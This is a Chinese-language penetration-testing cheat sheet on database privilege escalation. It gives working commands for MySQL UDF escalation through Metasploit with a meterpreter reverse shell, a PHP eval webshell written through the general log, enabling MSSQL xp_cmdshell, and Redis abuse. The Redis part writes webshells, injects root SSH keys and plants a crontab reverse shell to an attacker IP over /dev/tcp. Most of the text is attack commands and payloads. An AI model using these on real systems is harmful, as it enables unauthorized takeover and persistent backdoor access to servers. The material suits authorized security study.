Mysql提權
UDF提權是利用MYSQL的自定義函數功能,將MYSQL賬號轉化為系統system權限
前提:
1.UDF提權條件
(1)Mysql版本大于5.1
版本udf.dll
文件必須放置于MYSQL安裝目錄下的lib\plugin
文件夾下。
(2)Mysql版本小于5.1
版本。udf.dll
文件在Windows2003下放置于c:\windows\system32
,在windows2000下放置于c:\winnt\system32
。
(3)掌握的mysql
數據庫的賬號有對mysql
的insert
和delete
權限以創建和拋棄函數,一般以root
賬號為佳,具備`root賬號所具備的權限的其它賬號也可以。
(4)可以將udf.dll
寫入到相應目錄的權限。
secure_file_priv為空
show global variables like 'secure%';當 secure_file_priv 的值為 NULL ,表示限制 mysqld 不允許導入|導出,此時無法提權當 secure_file_priv 的值為 /tmp/ ,表示限制 mysqld 的導入|導出只能發生在 /tmp/ 目錄下,此時也無法提權當 secure_file_priv 的值沒有具體值時,表示不對 mysqld 的導入|導出做限制,此時可提權
提權步驟:獲取密碼-開啟外聯-高版本創建目錄-MSF導出dll
Mysql版本查詢命令
SELECT @@version`、`SELECT version();
Mysql寫馬
set global general_log = ON;開啟日志
set global general_log_file = "C:/phpstudy_pro/WWW/shell.php"
select '<?php eval($_POST[shell]);?>'
提權方法
select version();//獲取數據庫版本
select user();//獲取數據庫用戶
select @@basedir ;//獲取安裝目錄
show variables like '%plugins%'; //尋找mysql安裝路徑
GRANT ALL PRIVILEGES ON *.* TO '帳號'@'%' IDENTIFIED BY '密碼' WITH GRANT OPTION; //開啟外聯
利用MSF的exploit/multi/mysql/mysql_udf_payload導出udf dll文件
use exploit/multi/mysql/mysql_udf_payload
set payload windows/meterpreter/reverse_tcp
set password root
set rhosts 10.10.10.1 (這里更換了靶機)
run
create function sys_eval returns string soname "WqkerHcA.dll";//創建函數綁定dll
使用方法:
select sys_eval("whoami");//調用函數進行命令執行
MSSQL
1.使用xp_cmdshell進行提權
如果用戶擁有管理員sa權限則可以用sp_configure重修開啟它
啟用xp_cmdshell
EXEC sp_configure 'show advanced options', 1
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
關閉
exec sp_configure 'show advanced options', 1;
reconfigure;
exec sp_configure 'xp_cmdshell', 0;
reconfigure;
執行
EXEC master.dbo.xp_cmdshell '命令'
如果xp_cmdshell被刪除了,可以上傳xplog70.dll進行恢復
exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll'
Oracle- 普通用戶&注入提升模式&DBA模式
1、普通用戶模式:
前提是擁有一個普通的oracle連接賬號,不需要DBA權限,可提權至DBA,并以oracle實例運行的權限執行操作系統命令。
2、DBA用戶模式:(自動化工具演示)
擁有DBA賬號密碼,可以省去自己手動創建存儲過程的繁瑣步驟,一鍵執行測試。
3、注入提升模式:(Sqlmap測試演示)
擁有一個oracle注入點,可以通過注入點直接執行系統命令,此種模式沒有實現回顯
redis
1.利用redis寫入webshell
前提條件
- 可以成功遠程連接,并且未作登錄驗證
- 知道網站的絕對路徑,并且具有寫入權限
連接redis
redis-cli -h 10.0.20.99
config set dir /opt/lampp/htdocs/temp
config set dbfilename redis.php
set x "\r\n\r\n<?php phpinfo();eval($_POST['shell']);?>"
2 寫入SSH公鑰
ssh-keygen -t rsa //生成RSA公私鑰
(echo -e "\r\n";cat id_rsa.pub;echo -e "\r\n";) > 1.txt //將生成的公鑰添加換行輸出為1.txt
config set dir /root/.ssh //修改redis路徑為ssh的公鑰路徑
config set dbfilename authorized_keys //修改文件名
cat /root/.ssh/1.txt | redis-cli -h 192.168.30.103 -x set x
ssh -i id_rsa root@192.168.30.103 //寫入公鑰文件
ssh -i id_rsa root@192.168.30.103 //成功登錄靶機
3.利用crontab反彈shell
redis寫入定時計劃
config set dir /var/spool/cron //修改redis路徑為crontab的路徑
config set dbfilename root //修改文件名,修改完記得save一下
set x "\r\n*/1 * * * * /bin/bash -i>& /dev/tcp/192.168.30.102/6666 0>&1\r\n"
//寫入定時計劃
4.SSRF&Gopher&Redis
如果Redis在內網,無法直接訪問,可以通過SSRF訪問利用
gopher協議支持發出GET、POST請求:可以先獲取get請求包和post請求包,再構成符合gopher協議的請求。
gopher協議格式
gopher://<host>:<port>/<gopher-path>_后接TCP數據流
4.redis主從復制RCE